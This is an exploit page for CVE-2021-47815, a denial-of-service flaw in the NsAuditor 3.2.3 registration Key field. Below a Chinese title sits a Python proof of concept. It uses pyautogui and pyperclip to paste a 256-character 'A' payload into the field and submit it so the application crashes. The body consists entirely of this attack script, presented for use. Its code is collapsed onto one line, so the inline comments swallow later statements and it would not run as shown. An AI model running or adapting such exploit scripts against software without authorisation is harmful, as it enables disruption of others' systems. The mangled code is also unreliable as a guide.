CVE-2021-47815: NsAuditor 3.2.3 注册码字段拒绝服务漏洞

import pyautogui import time import pyperclip def exploit_cve_2021_47815(): """ CVE-2021-47815 PoC - NsAuditor 3.2.3 DoS via registration key field Description: Paste 256 repeated characters into the 'Key' field to trigger crash """ try: # Launch NsAuditor application # Assuming NsAuditor is already installed and running # Wait for application to load time.sleep(2) # Navigate to registration/license window # This may vary based on application interface pyautogui.press('alt') # Example: Access menu time.sleep(0.5) # Generate 256 repeated characters payload payload = 'A' * 256 # Copy payload to clipboard pyperclip.copy(payload) # Find and click on the 'Key' input field # Coordinates may need adjustment based on screen resolution # pyautogui.click(x=400, y=300) # Example coordinates # Paste the payload using Ctrl+V pyautogui.hotkey('ctrl', 'v') # Trigger submission or focus change pyautogui.press('enter') print("[+] Payload sent successfully") print(f"[+] Payload length: {len(payload)}") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": exploit_cve_2021_47815()